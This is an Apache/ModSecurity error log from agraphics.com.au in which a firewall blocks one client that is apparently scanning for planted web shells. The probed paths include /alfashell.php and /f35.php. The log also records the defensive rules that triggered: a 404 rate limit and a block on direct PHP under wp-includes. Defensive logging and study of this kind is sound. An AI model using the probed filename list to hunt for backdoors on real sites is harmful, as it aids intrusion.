[Thu Apr 09 18:01:06.388927 2026] [:error] [pid 18477:tid 18503] [client 20.240.63.86:6013] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "add44sDe826HlFeoLPJscQAAAVg"]
[Thu Apr 09 18:01:07.268486 2026] [:error] [pid 18477:tid 18501] [client 20.240.63.86:38295] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "add448De826HlFeoLPJseAAAAVY"]
[Thu Apr 09 18:01:08.269854 2026] [:error] [pid 24515:tid 24538] [client 20.240.63.86:48365] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "add45K1OMnvM2fMnB1NxGgAAABM"]
[Thu Apr 09 18:01:09.069493 2026] [:error] [pid 24515:tid 24532] [client 20.240.63.86:48263] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "add45a1OMnvM2fMnB1NxHgAAAA0"]
[Thu Apr 09 18:01:10.148559 2026] [:error] [pid 24515:tid 24539] [client 20.240.63.86:17664] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "add45q1OMnvM2fMnB1NxJAAAABQ"]
[Thu Apr 09 18:01:11.341009 2026] [:error] [pid 20837:tid 20849] [client 20.240.63.86:5834] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "add45_SL71FHZkjrGzPEzQAAAYo"]
[Thu Apr 09 18:01:12.299763 2026] [:error] [pid 24927:tid 24933] [client 20.240.63.86:48271] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "add46DXObuzEuw8mNJviWwAAAQM"]
[Thu Apr 09 18:01:13.613458 2026] [:error] [pid 24927:tid 24953] [client 20.240.63.86:27204] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "add46TXObuzEuw8mNJviZwAAARc"]
[Thu Apr 09 18:01:17.002665 2026] [:error] [pid 24515:tid 24523] [client 20.240.63.86:20212] [client 20.240.63.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "add47a1OMnvM2fMnB1NxUAAAAAQ"]
[Thu Apr 09 18:01:18.359898 2026] [:error] [pid 24624:tid 24627] [client 20.240.63.86:22053] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "add47u4Jn-WvK1ZBTvixGQAAAME"]
[Thu Apr 09 18:01:19.922417 2026] [:error] [pid 18477:tid 18497] [client 20.240.63.86:23583] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "add478De826HlFeoLPJsjAAAAVI"]
[Thu Apr 09 18:01:21.262473 2026] [:error] [pid 24515:tid 24525] [client 20.240.63.86:17673] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "add48a1OMnvM2fMnB1NxWQAAAAY"]
[Thu Apr 09 18:01:22.447688 2026] [:error] [pid 24515:tid 24535] [client 20.240.63.86:29618] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "add48q1OMnvM2fMnB1NxXAAAABA"]
[Thu Apr 09 18:01:23.492465 2026] [:error] [pid 24927:tid 24945] [client 20.240.63.86:29694] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "add48zXObuzEuw8mNJvidgAAAQ8"]
[Thu Apr 09 18:01:24.973346 2026] [:error] [pid 18477:tid 18502] [client 20.240.63.86:29589] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "add49MDe826HlFeoLPJsmAAAAVc"]
[Thu Apr 09 18:02:02.174389 2026] [proxy_fcgi:error] [pid 24927:tid 24933] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:02.441011 2026] [proxy_fcgi:error] [pid 24927:tid 24934] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:02.760365 2026] [proxy_fcgi:error] [pid 24927:tid 24930] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:03.037622 2026] [proxy_fcgi:error] [pid 24927:tid 24954] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:03.359699 2026] [proxy_fcgi:error] [pid 24927:tid 24938] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:03.632546 2026] [proxy_fcgi:error] [pid 24927:tid 24944] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:03.920056 2026] [proxy_fcgi:error] [pid 24927:tid 24952] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:04.245734 2026] [proxy_fcgi:error] [pid 24927:tid 24951] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:04.522111 2026] [proxy_fcgi:error] [pid 24927:tid 24947] [client 20.240.63.86:47856] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:02:05.215184 2026] [:error] [pid 24927:tid 24949] [client 20.240.63.86:47856] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "add5HTXObuzEuw8mNJvi1QAAARM"]
[Thu Apr 09 18:02:06.597702 2026] [:error] [pid 20837:tid 20862] [client 20.240.63.86:19214] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "add5HvSL71FHZkjrGzPFGwAAAZc"]
[Thu Apr 09 18:02:07.436279 2026] [:error] [pid 20837:tid 20846] [client 20.240.63.86:15431] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "add5H_SL71FHZkjrGzPFIgAAAYc"]
[Thu Apr 09 18:02:08.586309 2026] [:error] [pid 24927:tid 24931] [client 20.240.63.86:28169] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "add5IDXObuzEuw8mNJvi4AAAAQE"]
[Thu Apr 09 18:02:09.865990 2026] [:error] [pid 20837:tid 20855] [client 20.240.63.86:44533] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "add5IfSL71FHZkjrGzPFKAAAAZA"]
[Thu Apr 09 18:02:10.646996 2026] [:error] [pid 24927:tid 24941] [client 20.240.63.86:36811] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "add5IjXObuzEuw8mNJvi5QAAAQs"]
[Thu Apr 09 18:02:12.625702 2026] [:error] [pid 24927:tid 24936] [client 20.240.63.86:28218] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "add5JDXObuzEuw8mNJvi7AAAAQY"]
[Thu Apr 09 18:02:13.932663 2026] [:error] [pid 20837:tid 20852] [client 20.240.63.86:10490] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "add5JfSL71FHZkjrGzPFNAAAAY0"]
[Thu Apr 09 18:02:14.775229 2026] [:error] [pid 24927:tid 24942] [client 20.240.63.86:48983] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "add5JjXObuzEuw8mNJvi8gAAAQw"]
[Thu Apr 09 18:02:16.074495 2026] [:error] [pid 24927:tid 24950] [client 20.240.63.86:10467] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "add5KDXObuzEuw8mNJvi-AAAARQ"]
[Thu Apr 09 18:02:17.073533 2026] [:error] [pid 24927:tid 24943] [client 20.240.63.86:28179] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "add5KTXObuzEuw8mNJvjAAAAAQ0"]
[Thu Apr 09 18:02:18.420229 2026] [:error] [pid 24517:tid 24598] [client 20.240.63.86:52935] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "add5KnboYEn2ZFM_PS9uggAAAJg"]
[Thu Apr 09 18:02:19.630543 2026] [:error] [pid 18477:tid 18481] [client 20.240.63.86:37805] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "add5K8De826HlFeoLPJs7QAAAUI"]
[Thu Apr 09 18:02:20.874394 2026] [:error] [pid 24927:tid 24931] [client 20.240.63.86:15377] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "add5LDXObuzEuw8mNJvjDgAAAQE"]
[Thu Apr 09 18:02:21.919945 2026] [:error] [pid 24927:tid 24944] [client 20.240.63.86:49005] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "add5LTXObuzEuw8mNJvjEwAAAQ4"]
[Thu Apr 09 18:02:23.872446 2026] [:error] [pid 24927:tid 24950] [client 20.240.63.86:15479] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "add5LzXObuzEuw8mNJvjGQAAARQ"]
[Thu Apr 09 18:02:27.692427 2026] [:error] [pid 24515:tid 24537] [client 20.240.63.86:10487] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "add5M61OMnvM2fMnB1NxlwAAABI"]
[Thu Apr 09 18:02:28.646297 2026] [:error] [pid 24624:tid 24626] [client 20.240.63.86:26659] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "add5NO4Jn-WvK1ZBTvixTAAAAMA"]
[Thu Apr 09 18:02:30.813796 2026] [:error] [pid 24927:tid 24953] [client 20.240.63.86:22791] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "add5NjXObuzEuw8mNJvjKQAAARc"]
[Thu Apr 09 18:02:32.514197 2026] [:error] [pid 24515:tid 24523] [client 20.240.63.86:22446] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "add5OK1OMnvM2fMnB1NxmgAAAAQ"]
[Thu Apr 09 18:02:33.252398 2026] [:error] [pid 24927:tid 24934] [client 20.240.63.86:39992] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "add5OTXObuzEuw8mNJvjLAAAAQQ"]
[Thu Apr 09 18:02:35.729894 2026] [:error] [pid 24624:tid 24634] [client 20.240.63.86:26651] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "add5O-4Jn-WvK1ZBTvixVQAAAMg"]
[Thu Apr 09 18:02:37.090826 2026] [:error] [pid 24624:tid 24641] [client 20.240.63.86:22462] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "add5Pe4Jn-WvK1ZBTvixVwAAAM8"]
[Thu Apr 09 18:02:40.056550 2026] [:error] [pid 24515:tid 24537] [client 20.240.63.86:37766] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "add5QK1OMnvM2fMnB1NxpwAAABI"]
[Thu Apr 09 18:02:42.326400 2026] [:error] [pid 24515:tid 24520] [client 20.240.63.86:22453] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add5Qq1OMnvM2fMnB1NxrgAAAAE"]
[Thu Apr 09 18:02:43.248145 2026] [:error] [pid 24927:tid 24950] [client 20.240.63.86:45088] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add5QzXObuzEuw8mNJvjQwAAARQ"]
[Thu Apr 09 18:02:44.649056 2026] [:error] [pid 24927:tid 24933] [client 20.240.63.86:15415] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add5RDXObuzEuw8mNJvjSQAAAQM"]
[Thu Apr 09 18:02:45.380902 2026] [:error] [pid 20837:tid 20857] [client 20.240.63.86:25114] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "add5RfSL71FHZkjrGzPFWAAAAZI"]
[Thu Apr 09 18:02:46.347882 2026] [:error] [pid 24927:tid 24944] [client 20.240.63.86:5182] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "add5RjXObuzEuw8mNJvjTAAAAQ4"]
[Thu Apr 09 18:02:47.750097 2026] [:error] [pid 18477:tid 18484] [client 20.240.63.86:18938] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "add5R8De826HlFeoLPJs-wAAAUU"]
[Thu Apr 09 18:02:48.563369 2026] [:error] [pid 18477:tid 18501] [client 20.240.63.86:22430] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "add5SMDe826HlFeoLPJs_wAAAVY"]
[Thu Apr 09 18:02:49.311541 2026] [:error] [pid 24927:tid 24950] [client 20.240.63.86:38794] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "add5STXObuzEuw8mNJvjUAAAARQ"]
[Thu Apr 09 18:02:50.291167 2026] [:error] [pid 24927:tid 24943] [client 20.240.63.86:31668] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "add5SjXObuzEuw8mNJvjUQAAAQ0"]
[Thu Apr 09 18:02:51.673668 2026] [:error] [pid 24624:tid 24639] [client 20.240.63.86:22441] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "add5S-4Jn-WvK1ZBTvixXgAAAM0"]
[Thu Apr 09 18:02:52.412758 2026] [:error] [pid 20837:tid 20858] [client 20.240.63.86:15422] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "add5TPSL71FHZkjrGzPFYAAAAZM"]
[Thu Apr 09 18:02:53.488940 2026] [:error] [pid 18477:tid 18497] [client 20.240.63.86:22816] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "add5TcDe826HlFeoLPJtAwAAAVI"]
[Thu Apr 09 18:02:54.565414 2026] [:error] [pid 18477:tid 18489] [client 20.240.63.86:25095] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "add5TsDe826HlFeoLPJtBwAAAUo"]
[Thu Apr 09 18:02:55.637423 2026] [:error] [pid 18477:tid 18491] [client 20.240.63.86:5138] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "add5T8De826HlFeoLPJtCwAAAUw"]
[Thu Apr 09 18:02:56.427397 2026] [:error] [pid 24516:tid 24550] [client 20.240.63.86:37834] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "add5UNhW7vSS-UkeWCUbsAAAAEM"]
